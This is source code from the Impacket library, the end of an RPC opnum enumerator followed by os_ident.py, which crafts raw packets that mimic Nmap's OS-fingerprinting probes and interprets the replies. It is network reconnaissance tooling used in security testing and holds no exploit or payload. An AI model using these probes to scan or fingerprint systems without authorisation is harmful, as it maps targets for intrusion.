Author: Catalin Patulea
"""
import sys
from impacket.examples import logger
from impacket import uuid
from impacket.dcerpc.v5 import transport
def main(args):
if len(args) != 4:
print "usage: opdump.py hostname port interface version"
return 1
host, port, interface, version = args[0], int(args[1]), args[2], args[3]
stringbinding = "ncacn_ip_tcp:%s" % host
trans = transport.DCERPCTransportFactory(stringbinding)
trans.set_dport(port)
results = []
for i in range(256):
dce = trans.get_dce_rpc()
dce.connect()
iid = uuid.uuidtup_to_bin((interface, version))
dce.bind(iid)
dce.call(i, "")
try:
dce.recv()
except Exception, e:
result = str(e)
else:
result = "success"
dce.disconnect()
results.append(result)
# trim duplicate suffixes from the back
suffix = results[-1]
while results and results[-1] == suffix:
results.pop()
for i, result in enumerate(results):
print "op %d (0x%02x): %s" % (i, i, result)
print "ops %d-%d: %s" % (len(results), 255, suffix)
if __name__ == "__main__":
# Init the example's logger theme
logger.init()
sys.exit(main(sys.argv[1:]))
impacket-0.9.15/examples/os_ident.py 0000700 0000765 0000000 00000224530 12734531507 017454 0 ustar beto wheel 0000000 0000000 #--
# Copyright (c) 2001-2016 CORE Security Technologies, CORE SDI Inc.
# All rights reserved.
#
# This computer software is owned by Core SDI Inc. and is
# protected by U.S. copyright laws and other laws and by international
# treaties. This computer software is furnished by CORE SDI Inc.
# pursuant to a written license agreement and may be used, copied,
# transmitted, and stored only in accordance with the terms of such
# license and with the inclusion of the above copyright notice. This
# computer software or any other copies thereof may not be provided or
# otherwise made available to any other person.
#
#`
# THIS SOFTWARE IS PROVIDED ``AS IS'' AND ANY EXPRESS OR IMPLIED
# WARRANTIES ARE DISCLAIMED. IN NO EVENT SHALL CORE SDI Inc. BE LIABLE
# FOR ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY OR
# CONSEQUENTIAL DAMAGES RESULTING FROM THE USE OR MISUSE OF
# THIS SOFTWARE
#
#--
from impacket.ImpactPacket import *
from impacket.ImpactDecoder import *
g_nmap1_signature_filename="nmap-os-fingerprints"
g_nmap2_signature_filename="nmap-os-db"
class os_id_exception:
def __init__(self, value):
self.value = value
def __str__(self):
return `self.value`
class os_id_test:
def __init__(self, id):
self.__id = id
self.__my_packet = None
self.__result_dict = {}
def test_id(self):
return self.__class__.__name__
def get_test_packet(self):
return self.__my_packet.get_packet()
def set_packet(self, packet):
self.__my_packet = packet
def get_packet(self):
return self.__my_packet
def process(self, packet):
pass
def add_result(self, name, value):
self.__result_dict[name] = value
def get_id(self):
return self.__id
def is_mine(self, packet):
pass
def get_result_dict(self):
return self.__result_dict;
def get_final_result(self):
"Returns a string representation of the final result of this test or None if no response was received"
pass
class icmp_request(os_id_test):
type_filter = { ICMP.ICMP_ECHO : ICMP.ICMP_ECHOREPLY,
ICMP.ICMP_IREQ : ICMP.ICMP_IREQREPLY,
ICMP.ICMP_MASKREQ : ICMP.ICMP_MASKREPLY,
ICMP.ICMP_TSTAMP : ICMP.ICMP_TSTAMPREPLY }
def __init__(self, id, addresses, type):
os_id_test.__init__(self, id)
self.e = Ethernet()
self.i = IP()
self.icmp = ICMP()
self.i.set_ip_src(addresses[0])
self.i.set_ip_dst(addresses[1])
self.__type = type
self.icmp.set_icmp_type(type)
self.e.contains(self.i)
self.i.contains(self.icmp)
self.set_packet(self.e)
def is_mine(self, packet):
if packet.get_ether_type() != ImpactPacket.IP.ethertype:
return 0
ip = packet.child()
if not ip or ip.get_ip_p() != ImpactPacket.ICMP.protocol:
return 0
icmp = ip.child()
# icmp_request.type_filter is a dictionary that maps request
# type codes to the reply codes
if not icmp or \
icmp.get_icmp_type() != icmp_request.type_filter[self.__type]:
return 0
if icmp.get_icmp_id() != self.get_id():
return 0
return 1
def process(self, packet):
pass
class nmap2_icmp_echo_probe_1(icmp_request):
# The first one has the IP DF bit set, a type-of-service (TOS) byte
# value of zero, a code of nine (even though it should be zero),
# the sequence number 295, a random IP ID and ICMP request identifier,
# and a random character repeated 120 times for the data payload.
sequence_number = 295
id = 0x5678
def __init__(self, id, addresses):
icmp_request.__init__(self, id, addresses, ICMP.ICMP_ECHO)
self.i.set_ip_df(True)
self.i.set_ip_tos(0)
self.icmp.set_icmp_code(9)
self.icmp.set_icmp_seq(nmap2_icmp_echo_probe_1.sequence_number)
self.i.set_ip_id(nmap2_icmp_echo_probe_1.id)
self.icmp.set_icmp_id(nmap2_icmp_echo_probe_1.id)
self.icmp.contains(Data("I" * 120))
def process(self, packet):
pass
class nmap2_icmp_echo_probe_2(icmp_request):
# The second ping query is similar, except a TOS of four
# (IP_TOS_RELIABILITY) is used, the code is zero, 150 bytes of data is
# sent, and the IP ID, request ID, and sequence numbers are incremented
# by one from the previous query values.
def __init__(self, id, addresses):
icmp_request.__init__(self, id, addresses, ICMP.ICMP_ECHO)
self.i.set_ip_df(False)
self.i.set_ip_tos(4)
self.icmp.set_icmp_code(0)
self.icmp.set_icmp_seq(nmap2_icmp_echo_probe_1.sequence_number + 1)
self.i.set_ip_id(nmap2_icmp_echo_probe_1.id + 1)
self.icmp.set_icmp_id(nmap2_icmp_echo_probe_1.id + 1)
self.icmp.contains(Data("I" * 150))
def process(self, packet):
pass
class udp_closed_probe(os_id_test):
ip_id = 0x1234 # HARDCODED
def __init__(self, id, addresses, udp_closed ):
os_id_test.__init__(self, id )
self.e = Ethernet()
self.i = IP()
self.u = UDP()
self.i.set_ip_src(addresses[0])
self.i.set_ip_dst(addresses[1])
self.i.set_ip_id(udp_closed_probe.ip_id)
self.u.set_uh_sport(id)
self.u.set_uh_dport( udp_closed )
self.e.contains(self.i)
self.i.contains(self.u)
self.set_packet(self.e)
def is_mine(self, packet):
if packet.get_ether_type() != ImpactPacket.IP.ethertype:
return 0
ip = packet.child()
if not ip or ip.get_ip_p() != ImpactPacket.ICMP.protocol:
return 0
icmp = ip.child()
if not icmp or icmp.get_icmp_type() != ICMP.ICMP_UNREACH:
return 0
if icmp.get_icmp_code() != ICMP.ICMP_UNREACH_PORT:
return 0;
self.err_data = icmp.child()
if not self.err_data:
return 0
return 1
class tcp_probe(os_id_test):
def __init__(self, id, addresses, tcp_ports, open_port ):
self.result_string = "[]"
os_id_test.__init__(self, id)
self.e = Ethernet()
self.i = IP()
self.t = TCP()
self.i.set_ip_src(addresses[0])
self.i.set_ip_dst(addresses[1])
self.i.set_ip_id(0x2323) # HARDCODED
self.t.set_th_sport(id)
if open_port:
self.target_port = tcp_ports[0]
else:
self.target_port = tcp_ports[1]
self.t.set_th_dport(self.target_port)
self.e.contains(self.i)
self.i.contains(self.t)
self.set_packet(self.e)
self.source_ip = addresses[0]
self.target_ip = addresses[1]
def socket_match(self, ip, tcp):
# scr ip and port
if (ip.get_ip_src() != self.target_ip) or (tcp.get_th_sport() != self.target_port):
return 0
# dst ip and port
if(ip.get_ip_dst() != self.source_ip) or (tcp.get_th_dport() != self.get_id()):
return 0
return 1
def is_mine(self, packet):
if packet.get_ether_type() != ImpactPacket.IP.ethertype:
return 0
ip = packet.child()
if not ip or ip.get_ip_p() != ImpactPacket.TCP.protocol:
return 0
tcp = ip.child()
if self.socket_match(ip, tcp):
return 1
return 0
class nmap_tcp_probe(tcp_probe):
def __init__(self, id, addresses, tcp_ports, open_port, sequence, options):
tcp_probe.__init__(self, id, addresses, tcp_ports, open_port)
self.t.set_th_seq(sequence)
self.set_resp(False)
for op in options:
self.t.add_option(op)
def set_resp(self,resp):
pass
class nmap1_tcp_probe(nmap_tcp_probe):
sequence = 0x8453 # 0xBASE, obviously
mss = 265
# From: http://nmap.org/nmap-fingerprinting-old.html
# [...]
# Nmap sends these options along with almost every probe packet:
# Window Scale=10; NOP; Max Segment Size = 265; Timestamp; End of Ops;
# [...]
# From nmap-4.22SOC8/osscan.cc:get_fingerprint(...)
# [...]
# "\003\003\012\001\002\004\001\011\010\012\077\077\077\077\000\000\000\000\000\000"
# [...]
tcp_options = [
TCPOption(TCPOption.TCPOPT_WINDOW, 012), #\003\003\012
TCPOption(TCPOption.TCPOPT_NOP), #\001
TCPOption(TCPOption.TCPOPT_MAXSEG, mss), #\002\004\001\011
TCPOption(TCPOption.TCPOPT_TIMESTAMP, 0x3F3F3F3F), #\010\012\077\077\077\077\000\000\000\000
TCPOption(TCPOption.TCPOPT_EOL), #\000
TCPOption(TCPOption.TCPOPT_EOL) #\000
]
def __init__(self, id, addresses, tcp_ports, open_port):
nmap_tcp_probe.__init__(self, id, addresses, tcp_ports, open_port,
self.sequence, self.tcp_options)
def set_resp(self,resp):
if resp:
self.add_result("Resp", "Y")
else:
self.add_result("Resp", "N")
def process(self, packet):
ip = packet.child()
tcp = ip.child()
self.set_resp(True)
if ip.get_ip_df():
self.add_result("DF", "Y")
else:
self.add_result("DF", "N")
self.add_result("W", tcp.get_th_win())
if tcp.get_th_ack() == self.sequence + 1:
self.add_result("ACK", "S++")
elif tcp.get_th_ack() == self.sequence:
self.add_result("ACK", "S")
else:
self.add_result("ACK", "O")
flags = []
# TCP flags
if tcp.get_ECE():
flags.append("B")
if tcp.get_URG():
flags.append("U")
if tcp.get_ACK():
flags.append("A")
if tcp.get_PSH():
flags.append("P")
if tcp.get_RST():
flags.append("R")
if tcp.get_SYN():
flags.append("S")
if tcp.get_FIN():
flags.append("F")
self.add_result("FLAGS", flags)
options = []
for op in tcp.get_options():
if op.get_kind() == TCPOption.TCPOPT_EOL:
options.append("L")
elif op.get_kind() == TCPOption.TCPOPT_MAXSEG:
options.append("M")
if op.get_mss() == self.mss:
options.append("E") # Echoed
elif op.get_kind() == TCPOption.TCPOPT_NOP:
options.append("N")
elif op.get_kind() == TCPOption.TCPOPT_TIMESTAMP:
options.append("T")
elif op.get_kind() == TCPOption.TCPOPT_WINDOW:
options.append("W")
self.add_result("OPTIONS", options)
def get_final_result(self):
return {self.test_id(): self.get_result_dict()}
class nmap2_tcp_probe(nmap_tcp_probe):
acknowledgment = 0x181d4f7b
def __init__(self, id, addresses, tcp_ports, open_port, sequence, options):
nmap_tcp_probe.__init__(self, id, addresses, tcp_ports, open_port,
sequence, options)
self.t.set_th_ack(self.acknowledgment)
def set_resp(self,resp):
# Responsiveness (R)
# This test simply records whether the target responded to a given probe.
# Possible values are Y and N. If there is no reply, remaining fields
# for the test are omitted.
if resp:
self.add_result("R", "Y")
else:
self.add_result("R", "N")
def process(self, packet):
ip = packet.child()
tcp = ip.child()
# R, DF, T*, TG*, W, S, A, F, O, RD*, Q
self.set_resp(True)
tests = nmap2_tcp_tests(ip, tcp, self.sequence, self.acknowledgment)
self.add_result("DF", tests.get_df())
self.add_result("W", tests.get_win())
self.add_result("S", tests.get_seq())
self.add_result("A", tests.get_ack())
self.add_result("F", tests.get_flags())
self.add_result("O", tests.get_options())
self.add_result("Q", tests.get_quirks())
def get_final_result(self):
return {self.test_id() : self.get_result_dict()}
class nmap2_ecn_probe(nmap_tcp_probe):
# From nmap-4.22SOC8/osscan2.cc:
# [...]
# "\003\003\012\001\002\004\005\264\004\002\001\001"
# [...]
# From: http://nmap.org/book/osdetect-methods.html
# [...]
# This probe tests for explicit congestion notification (ECN) support
# in the target TCP stack. ECN is a method for improving Internet
# performance by allowing routers to signal congestion problems before
# they start having to drop packets. It is documented in RFC 3168.
# Nmap tests this by sending a SYN packet which also has the ECN CWR
# and ECE congestion control flags set. For an unrelated (to ECN) test,
# the urgent field value of 0xF7F5 is used even though the urgent flag
# is not set. The acknowledgment number is zero, sequence number is
# random, window size field is three, and the reserved bit which
# immediately precedes the CWR bit is set. TCP options are WScale (10),
# NOP, MSS (1460), SACK permitted, NOP, NOP. The probe is sent to an
# open port.
# [...]
tcp_options = [
TCPOption(TCPOption.TCPOPT_WINDOW, 012), #\003\003\012
TCPOption(TCPOption.TCPOPT_NOP), #\001
TCPOption(TCPOption.TCPOPT_MAXSEG, 1460), #\002\004\005\0264
TCPOption(TCPOption.TCPOPT_SACK_PERMITTED), #\004\002
TCPOption(TCPOption.TCPOPT_NOP), #\001
TCPOption(TCPOption.TCPOPT_NOP) #\001
]
def __init__(self, id, addresses, tcp_ports):
nmap_tcp_probe.__init__(self, id, addresses, tcp_ports, 1,
0x8b6a, self.tcp_options)
self.t.set_SYN()
self.t.set_CWR()
self.t.set_ECE()
self.t.set_flags(0x800)
self.t.set_th_urp(0xF7F5)
self.t.set_th_ack(0)
self.t.set_th_win(3)
#self.t.set_th_flags(self.t.get_th_flags() | 0x0100) # 0000 0001 00000000
def test_id(self):
return "ECN"
def set_resp(self,resp):
if resp:
self.add_result("R", "Y")
else:
self.add_result("R", "N")
def process(self, packet):
ip = packet.child()
tcp = ip.child()
# R, DF, T*, TG*, W, O, CC, Q
self.set_resp(True)
tests = nmap2_tcp_tests(ip, tcp, 0, 0)
self.add_result("DF", tests.get_df())
self.add_result("W", tests.get_win())
self.add_result("O", tests.get_options())
self.add_result("CC", tests.get_cc())
self.add_result("Q", tests.get_quirks())
def get_final_result(self):
return {self.test_id() : self.get_result_dict()}
class nmap2_tcp_tests:
def __init__(self, ip, tcp, sequence, acknowledgment):
self.__ip = ip
self.__tcp = tcp
self.__sequence = sequence
self.__acknowledgment = acknowledgment
def get_df(self):
# IP don't fragment bit (DF)
# The IP header contains a single bit which forbids routers from fragmenting
# a packet. If the packet is too large for routers to handle, they will just
# have to drop it (and ideally return a "destination unreachable,
# fragmentation needed" response). This test records Y if the bit is set,
# and N if it isn't.
if self.__ip.get_ip_df():
return "Y"
else:
return "N"
def get_win(self):
# TCP initial window size (W, W1-W6)
# This test simply records the 16-bit TCP window size of the received packet.
return "%X" % self.__tcp.get_th_win()
def get_ack(self):
# TCP acknowledgment number (A)
# This test is the same as S except that it tests how the acknowledgment
# number in the response compares to the sequence number in the
# respective probe.
# Value Description
# Z Acknowledgment number is zero.
# S Acknowledgment number is the same as the sequence number in the probe.
# S+ Acknowledgment number is the same as the sequence number in the probe plus one.
# O Acknowledgment number is something else (other).
if self.__tcp.get_th_ack() == self.__sequence + 1:
return "S+"
elif self.__tcp.get_th_ack() == self.__sequence:
return "S"
elif self.__tcp.get_th_ack() == 0:
return "Z"
else:
return "O"
def get_seq(self):
# TCP sequence number (S)
# This test examines the 32-bit sequence number field in the TCP
# header. Rather than record the field value as some other tests
# do, this one examines how it compares to the TCP acknowledgment
# number from the probe that elicited the response.
# Value Description
# Z Sequence number is zero.
# A Sequence number is the same as the acknowledgment number in the probe.
# A+ Sequence number is the same as the acknowledgment number in the probe plus one.
# O Sequence number is something else (other).
if self.__tcp.get_th_seq() == self.__acknowledgment + 1:
return "A+"
elif self.__tcp.get_th_seq() == self.__acknowledgment:
return "A"
elif self.__tcp.get_th_seq() == 0:
return "Z"
else:
return "O"
def get_flags(self):
# TCP flags (F)
# This field records the TCP flags in the response. Each letter represents
# one flag, and they occur in the same order as in a TCP packet (from
# high-bit on the left, to the low ones). So the value SA represents the
# SYN and ACK bits set, while the value AS is illegal (wrong order).
# The possible flags are shown in Table 8.7.
# Character Flag name Flag byte value
# E ECN Echo (ECE) 64
# U Urgent Data (URG) 32
# A Acknowledgment (ACK) 16
# P Push (PSH) 8
# R Reset (RST) 4
# S Synchronize (SYN) 2
# F Final (FIN) 1
flags = ""
if self.__tcp.get_ECE():
flags += "E"
if self.__tcp.get_URG():
flags += "U"
if self.__tcp.get_ACK():
flags += "A"
if self.__tcp.get_PSH():
flags += "P"
if self.__tcp.get_RST():
flags += "R"
if self.__tcp.get_SYN():
flags += "S"
if self.__tcp.get_FIN():
flags += "F"
return flags
def get_options(self):
# Option Name Character Argument (if any)
# End of Options List (EOL) L
# No operation (NOP) N
# Maximum Segment Size (MSS) M The value is appended. Many systems
# echo the value used in the corresponding probe.
# Window Scale (WS) W The actual value is appended.
# Timestamp (TS) T The T is followed by two binary characters
# representing the TSval and TSecr values respectively.
# The characters are 0 if the field is zero
# and 1 otherwise.
# Selective ACK permitted (SACK) S
options = ""
for op in self.__tcp.get_options():
if op.get_kind() == TCPOption.TCPOPT_EOL:
options += "L"
elif op.get_kind() == TCPOption.TCPOPT_MAXSEG:
options += "M%X" % (op.get_mss())
elif op.get_kind() == TCPOption.TCPOPT_NOP:
options += "N"
elif op.get_kind() == TCPOption.TCPOPT_TIMESTAMP:
options += "T%i%i" % (int(op.get_ts()!=0),
int(op.get_ts_echo()!=0))
elif op.get_kind() == TCPOption.TCPOPT_WINDOW:
options += "W%X" % (op.get_shift_cnt())
elif op.get_kind() == TCPOption.TCPOPT_SACK_PERMITTED:
options += "S"
return options
def get_cc(self):
# Explicit congestion notification (CC)
# This test is only used for the ECN probe. That probe is a SYN packet
# which includes the CWR and ECE congestion control flags. When the
# response SYN/ACK is received, those flags are examined to set the
# CC (congestion control) test value as described in Table 8.3.
# Table 8.3. CC test values
# Value Description
# Y Only the ECE bit is set (not CWR). This host supports ECN.
# N Neither of these two bits is set. The target does not support
# ECN.
# S Both bits are set. The target does not support ECN, but it
# echoes back what it thinks is a reserved bit.
# O The one remaining combination of these two bits (other).
ece, cwr = self.__tcp.get_ECE(), self.__tcp.get_CWR()
if ece and not cwr:
return "Y"
elif not ece and not cwr:
return "N"
elif ece and cwr:
return "S"
else:
return "O"
def get_quirks(self):
# TCP miscellaneous quirks (Q)
# This tests for two quirks that a few implementations have in their
# TCP stack. The first is that the reserved field in the TCP header
# (right after the header length) is nonzero. This is particularly
# likely to happen in response to the ECN test as that one sets a
# reserved bit in the probe. If this is seen in a packet, an "R"
# is recorded in the Q string.
# The other quirk Nmap tests for is a nonzero urgent pointer field
# value when the URG flag is not set. This is also particularly
# likely to be seen in response to the ECN probe, which sets a
# non-zero urgent field. A "U" is appended to the Q string when
# this is seen.
# The Q string must always be generated in alphabetical order.
# If no quirks are present, the Q test is empty but still shown.
quirks = ""
if ((self.__tcp.get_th_flags() >> 8) & 0x0f) != 0:
quirks += "R"
if self.__tcp.get_URG() == 0 and self.__tcp.get_th_urp() != 0:
quirks += "U"
return quirks
class nmap2_tcp_probe_2_6(nmap2_tcp_probe):
sequence = 0x8453 # 0xBASE, obviously
mss = 265
# From nmap-4.22SOC8/osscan2.cc:
# [...]
# "\003\003\012\001\002\004\001\011\010\012\377\377\377\377\000\000\000\000\004\002"
# [...]
# From: http://nmap.org/book/osdetect-methods.html
# [...]
# The six T2 through T7 tests each send one TCP probe packet.
# With one exception, the TCP options data in each case is (in hex)
# 03030A0102040109080AFFFFFFFF000000000402.
# Those 20 bytes correspond to window scale (10), NOP, MSS (265),
# Timestamp (TSval: 0xFFFFFFFF; TSecr: 0), then SACK permitted.
# (...
tcp_options = [
TCPOption(TCPOption.TCPOPT_WINDOW, 012), #\003\003\012
TCPOption(TCPOption.TCPOPT_NOP), #\001
TCPOption(TCPOption.TCPOPT_MAXSEG, mss), #\002\004\001\011
TCPOption(TCPOption.TCPOPT_TIMESTAMP, 0xFFFFFFFF), #\010\012\377\377\377\377\000\000\000\000
TCPOption(TCPOption.TCPOPT_SACK_PERMITTED) #\004\002
]
def __init__(self, id, addresses, tcp_ports, open_port):
nmap2_tcp_probe.__init__(self, id, addresses, tcp_ports, open_port,
self.sequence, self.tcp_options)
class nmap2_tcp_probe_7(nmap2_tcp_probe):
sequence = 0x8453 # 0xBASE, obviously
mss = 265
# ...)
# The exception is that T7 uses a Window scale value of 15 rather than 10
# [...]
tcp_options = [
TCPOption(TCPOption.TCPOPT_WINDOW, 017), #\003\003\017
TCPOption(TCPOption.TCPOPT_NOP), #\001
TCPOption(TCPOption.TCPOPT_MAXSEG, mss), #\002\004\001\011
TCPOption(TCPOption.TCPOPT_TIMESTAMP, 0xFFFFFFFF), #\010\012\377\377\377\377\000\000\000\000
TCPOption(TCPOption.TCPOPT_SACK_PERMITTED) #\004\002
]
def __init__(self, id, addresses, tcp_ports, open_port):
nmap2_tcp_probe.__init__(self, id, addresses, tcp_ports, open_port,
self.sequence, self.tcp_options)
class nmap_port_unreachable(udp_closed_probe):
def __init__(self, id, addresses, ports):
udp_closed_probe.__init__(self, id, addresses, ports[2])
self.set_resp(False)
def test_id(self):
pass
def set_resp(self, resp):
pass
def process(self, packet):
pass
class nmap1_port_unreachable(nmap_port_unreachable):
def __init__(self, id, addresses, ports):
nmap_port_unreachable.__init__(self, id, addresses, ports)
self.u.contains(Data("A" * 300))
def test_id(self):
return "PU"
def set_resp(self,resp):
if resp:
self.add_result("Resp", "Y")
else:
self.add_result("Resp", "N")
def process(self, packet):
ip_orig = self.err_data
if ip_orig.get_ip_p() != ImpactPacket.UDP.protocol:
return
udp = ip_orig.child()
if not udp:
return
ip = packet.child()
self.set_resp(True)
if ip.get_ip_df():
self.add_result("DF", "Y")
else:
self.add_result("DF", "N")
self.add_result("TOS", ip.get_ip_tos())
self.add_result("IPLEN", ip.get_ip_len())
self.add_result("RIPTL", ip_orig.get_ip_len()) # Some systems return a different IPLEN
recv_ip_id = ip_orig.get_ip_id()
if 0 == recv_ip_id:
self.add_result("RID", "0")
elif udp_closed_probe.ip_id == recv_ip_id:
self.add_result("RID", "E")
else:
self.add_result("RID", "F")
ip_sum = ip_orig.get_ip_sum()
ip_orig.set_ip_sum(0)
checksum = ip_orig.compute_checksum(ip_orig.get_bytes())
if 0 == checksum:
self.add_result("RIPCK", "0")
elif checksum == ip_sum:
self.add_result("RIPCK", "E")
else:
self.add_result("RIPCK", "F")
udp_sum = udp.get_uh_sum()
udp.set_uh_sum(0)
udp.auto_checksum = 1
udp.calculate_checksum()
if 0 == udp_sum:
self.add_result("UCK", "0")
elif self.u.get_uh_sum() == udp_sum:
self.add_result("UCK", "E")
else:
self.add_result("UCK", "F")
self.add_result("ULEN", udp.get_uh_ulen())
if ip.child().child().child().child() == udp.child(): # Some systems meddle with the data
self.add_result("DAT", "E")
else:
self.add_result("DAT", "F")
def get_final_result(self):
return {self.test_id(): self.get_result_dict()}
class nmap2_port_unreachable(nmap_port_unreachable):
# UDP (U1)
# This probe is a UDP packet sent to a closed port. The character 'C'
# (0x43) is repeated 300 times for the data field. The IP ID value is
# set to 0x1042 for operating systems which allow us to set this. If
# the port is truly closed and there is no firewall in place, Nmap
# expects to receive an ICMP port unreachable message in return.
# That response is then subjected to the R, DF, T, TG, TOS, IPL, UN,
# RIPL, RID, RIPCK, RUCK, RUL, and RUD tests.
def __init__(self, id, addresses, ports):
nmap_port_unreachable.__init__(self, id, addresses, ports)
self.u.contains(Data("C" * 300))
self.i.set_ip_id(0x1042)
def test_id(self):
return "U1"
def set_resp(self,resp):
if resp:
self.add_result("R", "Y")
else:
self.add_result("R", "N")
def process(self, packet):
ip_orig = self.err_data
if ip_orig.get_ip_p() != ImpactPacket.UDP.protocol:
return
udp = ip_orig.child()
if not udp:
return
ip = packet.child()
icmp = ip.child()
if ip.get_ip_df():
self.add_result("DF", "Y")
else:
self.add_result("DF", "N")
# XXX T
# IP initial time-to-live (T)
# IP packets contain a field named time-to-live (TTL) which is
# decremented every time they traverse a router. If the field
# reaches zero, the packet must be discarded. This prevents
# packets from looping endlessly. Because operating systems differ
# on which TTL they start with, it can be used for OS detection.
# Nmap determines how many hops away it is from the target by
# examining the ICMP port unreachable response to the U1 probe.
# That response includes the original IP packet, including the
# already-decremented TTL field, received by the target. By
# subtracting that value from our as-sent TTL, we learn how many
# hops away the machine is. Nmap then adds that hop distance to
# the probe response TTL to determine what the initial TTL was
# when that ICMP probe response packet was sent. That initial TTL
# value is stored in the fingerprint as the T result.
# Even though an eight-bit field like TTL can never hold values
# greater than 0xFF, this test occasionally results in values of
# 0x100 or higher. This occurs when a system (could be the source,
# a target, or a system in between) corrupts or otherwise fails to
# correctly decrement the TTL. It can also occur due to asymmetric
# routes.
# XXX TG
# IP initial time-to-live guess (TG)
# It is not uncommon for Nmap to receive no response to the U1 probe,
# which prevents Nmap from learning how many hops away a target is.
# Firewalls and NAT devices love to block unsolicited UDP packets.
# But since common TTL values are spread well apart and targets are
# rarely more than 20 hops away, Nmap can make a pretty good guess
# anyway. Most systems send packets with an initial TTL of 32, 60, 64,
# 128, or 255. So the TTL value received in the response is rounded
# up to the next value out of 32, 64, 128, or 255. 60 is not in that
# list because it cannot be reliably distinguished from 64. It is
# rarely seen anyway.
# The resulting guess is stored in the TG field. This TTL guess field
# is not printed in a subject fingerprint if the actual TTL (T) value
# was discovered.
# IP type of service (TOS)
# This test simply records the type of service byte from the
# IP header of ICMP port unreachable packets.
# This byte is described in RFC 791
self.add_result("TOS", "%X" % ip.get_ip_tos())
# IP total length (IPL)
# This test records the total length (in octets) of an IP packet.
# It is only used for the port unreachable response elicited by the
# U1 test.
self.add_result("IPL", "%X" % ip.get_ip_len())
# Unused port unreachable field nonzero (UN)
# An ICMP port unreachable message header is eight bytes long, but
# only the first four are used. RFC 792 states that the last four
# bytes must be zero. A few implementations (mostly ethernet switches
# and some specialized embedded devices) set it anyway. The value of
# those last four bytes is recorded in this field.
self.add_result("UN", "%X" % icmp.get_icmp_void())
# Returned probe IP total length value (RIPL)
# ICMP port unreachable messages (as are sent in response to the U1
# probe) are required to include the IP header which generated them.
# This header should be returned just as they received it, but some
# implementations send back a corrupted version due to changes they
# made during IP processing. This test simply records the returned
# IP total length value. If the correct value of 0x148 (328) is
# returned, the value G (for good) is stored instead of the actual value.
if ip_orig.get_ip_len() == 0x148:
self.add_result("RIPL","G")
else:
self.add_result("RIPL", "%X" % ip_orig.get_ip_len())
# Returned probe IP ID value (RID)
# The U1 probe has a static IP ID value of 0x1042. If that value is
# returned in the port unreachable message, the value G is stored for
# this test. Otherwise the exact value returned is stored. Some systems,
# such as Solaris, manipulate IP ID values for raw IP packets that
# Nmap sends. In such cases, this test is skipped. We have found
# that some systems, particularly HP and Xerox printers, flip the bytes
# and return 0x4210 instead.
if 0x1042 == ip_orig.get_ip_id():
self.add_result("RID", "G")
else:
self.add_result("RID", "%X" % ip_orig.get_ip_id())
# Integrity of returned probe IP checksum value (RIPCK)
# The IP checksum is one value that we don't expect to remain the same
# when returned in a port unreachable message. After all, each network
# hop during transit changes the checksum as the TTL is decremented.
# However, the checksum we receive should match the enclosing IP packet.
# If it does, the value G (good) is stored for this test. If the returned
# value is zero, then Z is stored. Otherwise the result is I (invalid).
ip_sum = ip_orig.get_ip_sum()
ip_orig.set_ip_sum(0)
checksum = ip_orig.compute_checksum(ip_orig.get_bytes())
if 0 == checksum:
self.add_result("RIPCK", "Z")
elif checksum == ip_sum:
self.add_result("RIPCK", "G")
else:
self.add_result("RIPCK", "I")
# Integrity of returned probe UDP length and checksum (RUL and RUCK)
# The UDP header length and checksum values should be returned exactly
# as they were sent. If so, G is recorded for these tests. Otherwise
# the value actually returned is recorded. The proper length is 0x134 (308).
udp_sum = udp.get_uh_sum()
udp.set_uh_sum(0)
udp.auto_checksum = 1
udp.calculate_checksum()
if self.u.get_uh_sum() == udp_sum:
self.add_result("RUCK", "G")
else:
self.add_result("RUCK", "%X" % udp_sum)
if udp.get_uh_ulen() == 0x134:
self.add_result("RUL","G")
else:
self.add_result("RUL", "%X" % udp.get_uh_ulen())
# Integrity of returned UDP data (RUD)
# If the UDP payload returned consists of 300 'C' (0x43)
# characters as expected, a G is recorded for this test.
# Otherwise I (invalid) is recorded.
if ip.child().child().child().child() == udp.child():
self.add_result("RUD", "G")
else:
self.add_result("RUD", "I")
def get_final_result(self):
return {self.test_id(): self.get_result_dict()}
class OS_ID:
def __init__(self, target, ports):
pcap_dev = pcap.lookupdev()
self.p = pcap.open_live(pcap_dev, 600, 0, 3000)
self.__source = self.p.getlocalip()
self.__target = target
self.p.setfilter("src host %s and dst host %s" % (target, self.__source), 1, 0xFFFFFF00)
self.p.setmintocopy(10)
self.decoder = EthDecoder()
self.tests_sent = []
self.outstanding_count = 0
self.results = {}
self.current_id = 12345
self.__ports = ports
def releasePcap(self):
if not (self.p is None):
self.p.close()
def get_new_id(self):
id = self.current_id
self.current_id += 1
self.current_id &= 0xFFFF
return id
def send_tests(self, tests):
self.outstanding_count = 0
for t_class in tests:
# Ok, I need to know if the constructor accepts the parameter port
# We could ask also by co_varnames, but the port parameters is not a standarized... asking by args count :(
if t_class.__init__.im_func.func_code.co_argcount == 4:
test = t_class(self.get_new_id(), [self.__source, self.__target], self.__ports )
else:
test = t_class(self.get_new_id(), [self.__source, self.__target] )
self.p.sendpacket(test.get_test_packet())
self.outstanding_count += 1
self.tests_sent.append(test)
while self.p.readready():
self.p.dispatch(1, self.packet_handler)
while self.outstanding_count > 0:
data = self.p.next()[0]
if data:
self.packet_handler(0, data)
else:
break
def run(self):
pass
def get_source(self):
return self.__source
def get_target(self):
return self.__target
def get_ports(self):
return self.__ports
def packet_handler(self, len, data):
packet = self.decoder.decode(data)
for t in self.tests_sent:
if t.is_mine(packet):
t.process(packet)
self.outstanding_count -= 1
class nmap1_tcp_open_1(nmap1_tcp_probe):
def __init__(self, id, addresses, tcp_ports):
nmap1_tcp_probe.__init__(self, id, addresses, tcp_ports, 1)
self.t.set_ECE()
self.t.set_SYN()
def test_id(self):
return "T1"
def is_mine(self, packet):
if tcp_probe.is_mine(self, packet):
ip = packet.child()
if not ip:
return 0
tcp = ip.child()
if not tcp:
return 0
if tcp.get_SYN() and tcp.get_ACK():
return 1
else:
return 0
else:
return 0
class nmap1_tcp_open_2(nmap1_tcp_probe):
def __init__(self, id, addresses, tcp_ports):
nmap1_tcp_probe.__init__(self, id, addresses, tcp_ports, 1)
def test_id(self):
return "T2"
class nmap2_tcp_open_2(nmap2_tcp_probe_2_6):
# From: http://nmap.org/book/osdetect-methods.html
# [...]
# T2 sends a TCP null (no flags set) packet with the IP DF bit set and a
# window field of 128 to an open port.
# ...
def __init__(self, id, addresses, tcp_ports):
nmap2_tcp_probe_2_6.__init__(self, id, addresses, tcp_ports, 1)
self.i.set_ip_df(1)
self.t.set_th_win(128)
def test_id(self):
return "T2"
